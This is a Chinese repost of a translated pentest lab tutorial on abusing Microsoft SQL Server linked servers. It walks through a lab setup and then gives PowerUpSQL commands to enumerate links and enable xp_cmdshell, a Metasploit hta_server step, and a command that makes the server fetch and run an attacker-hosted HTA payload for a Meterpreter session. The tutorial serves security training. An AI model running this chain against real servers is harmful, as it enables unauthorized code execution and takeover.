MSSQL渗透测试:违规使用链接数据库

admin 2021年11月17日20:31:22MSSQL渗透测试:违规使用链接数据库已关闭评论139 views字数 3075阅读10分15秒阅读模式

原文信息

地址:https://www.hackingarticles.in/mssql-for-pentester-abusing-linked-database/
作者:Raj Chandel
标题:MSSQL for Pentester: Abusing Linked Database
日期:2021 年 9 月 11 日


这篇文章是我们的MSSQL渗透测试系列的另一个补充。在这篇文章中,我们将学习如何创建一个链接服务器并利用它。

内容一览表

  • 链接服务器简介
  • 实验环境配置
  • 利用链接服务器
    枚举
    使用PowerUpSQL和Metasploit进行代码执行

链接服务器简介

一个链接的服务器作为两个服务器之间的桥梁。通过一个链接,服务器数据库可以被两个或更多可以访问上述数据库的服务器查看/共享/编辑。表中的数据可以被连接在一起,并通过它进行查询。链接服务器是为那些需要对数据的存储和检索方式有更多灵活性的应用而设计的。无论应用程序是使用并行处理、随机查询,还是在多个Microsoft Access文件之间进行连接,关联服务器都为灵活的应用开发提供了一个更好的平台。来自多个来源的数据可以被添加到一个表中,或者附加到现有的数据上。你可以使用一个链接服务器来代替一个普通的表,就像你在复制一个现有的数据库表时可能做的那样。 以下事情可以通过链接服务器来完成。

  • 控制查询计划
  • 改变列的数据类型
  • 优化远程服务器上的查询
  • 改变本地表的计划
  • 访问远程表的数据
  • 删除本地数据库上的对象
  • 改变用于访问本地表的服务器
  • 重新连接到一个链接的服务器
  • 使用复制的参数
  • 允许远程更新

实验环境配置

我们将首先建立一个链接服务器。 在安装MSSQL服务器时,会自行创建一个默认服务器。但是我们需要另一个服务器,这样我们就可以把它们两个联系起来。因此,要创建另一个服务器,启动安装程序,并选择“New SQL Server Stand-alone installation or and add features to an existing installation”(新的SQL Server独立安装或并向现有安装添加功能),如下图所示:

MSSQL渗透测试:违规使用链接数据库

然后点击“Next”(下一步)按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

在对话框的下一个窗口中,选择“Perform a new installation of SQL Server 2016”(执行SQL Server 2016的新安装),然后单击“Next”(下一步)按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

在功能选择对话框中,选择要安装的功能,并给出实例的路径。然后,点击“Next”(下一步)按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

在实例配置对话框中,给出服务器的名称,然后单击“Next”(下一步)按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

在“服务器配置”对话框中,确保启动是自动的,然后单击“Next”(下一步)按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

在“数据库引擎配置”对话框中,选择“身份验证模式”下的“混合模式”,并给出服务器的密码。点击“Next”(下一步)按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

安装完成后,单击"Close"(关闭)按钮;如下图所示:

MSSQL渗透测试:违规使用链接数据库

现在要连接到服务器,请在"Authentication"(身份验证)的下拉菜单中选择" <Browse for more> "(<浏览更多>)选项,如下图所示:

MSSQL渗透测试:违规使用链接数据库

选择您的服务器,然后单击"OK"(确定)按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

正如您在下图中看到的,我们有两台服务器:

MSSQL渗透测试:违规使用链接数据库

现在转到"server>Servere Objects>Linked Servers"(主服务器>服务器对象>链接服务器)。右键单击链接服务器,并从下拉菜单中选择"New Linked Server "(新建链接服务器)选项,如下图所示:

MSSQL渗透测试:违规使用链接数据库

在“链接服务器”选项中,给出要链接的服务器的名称。在"Server Type"(服务器类型)中,选择"Other data source"(其他数据源)。从"Provider"(提供程序)的下拉菜单中选择“来自SQL Server的Microsoft OLE DB提供程序”。将默认服务器作为数据源,并在"Catalog"(目录)中给出数据库名称。最后,点击“OK”(确定)按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

在服务器选项中,确保RPC和RPC输出为真,如下图所示:

MSSQL渗透测试:违规使用链接数据库

在“安全”选项卡中,给出默认服务器的用户名和密码,然后单击“确定”按钮,如下图所示:

MSSQL渗透测试:违规使用链接数据库

完成所有这些后,将创建如下图所示的链接服务器:

MSSQL渗透测试:违规使用链接数据库

利用链接服务器

枚举
现在我们的链接服务器已经准备好了。作为攻击者,我们对服务器一无所知。因此,为了枚举链接服务器,我们将使用PowerUpSQL及其以下命令:

Import-Module .PowerUpSQL.ps1
Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQKSQLEXPRESS -Verbose

MSSQL渗透测试:违规使用链接数据库

如上图所示,我们有实例名、链接服务器名和目录名以及其他有用的信息。
代码执行
现在,为了远程访问链接的服务器,我们将使用PowerUpSQL和Metasploit。事实证明,这两个工具是攻击MSSQL Servers的最佳工具。

在部署这些工具之前,我们可以转到facets >surface area configuration,并确认XPCmdshell已禁用,如下图所示:

MSSQL渗透测试:违规使用链接数据库

现在,我们将通过使用PowerUpSQL的以下命令来启用这个XPCmdshell:

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQKSQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"

MSSQL渗透测试:违规使用链接数据库

现在已经启用了XPCmdshell,我们将使用Metasploit生成一个带有hta_server漏洞的URL(网址),为此使用以下命令集:

use exploit/windows/misc/hta_server
set srvhost eth0
exploit

MSSQL渗透测试:违规使用链接数据库

我们有了自己的URL。现在,我们将通过PowerUpSQL执行这个URL,这样我们就可以有自己的Meterpreter会话,如下图所示。要部署所述网址,请使用以下命令:

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQKSQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"

MSSQL渗透测试:违规使用链接数据库

一旦命令被成功执行,我们将拥有如下图所示的meterpreter会话:

MSSQL渗透测试:违规使用链接数据库

通过这种简单的方式,链接服务器可以被利用,并将会话交给攻击者。
参考资料:https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-link-crawling-powerupsql/
作者:Yashika Dhir是一名网络安全研究员、渗透测试员、红队队员、紫队爱好者。请在LinkedinTwitter上联系她

相关推荐: 黑客系列:你的Ansible包配置安全吗?

译文来源:https://blog.includesecurity.com/2021/06/hack-series-is-your-ansible-package-configuration-secure/。受个人知识所限或偏见影响,部分内容或存在过度曲解误解…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月17日20:31:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MSSQL渗透测试:违规使用链接数据库http://cn-sec.com/archives/632636.html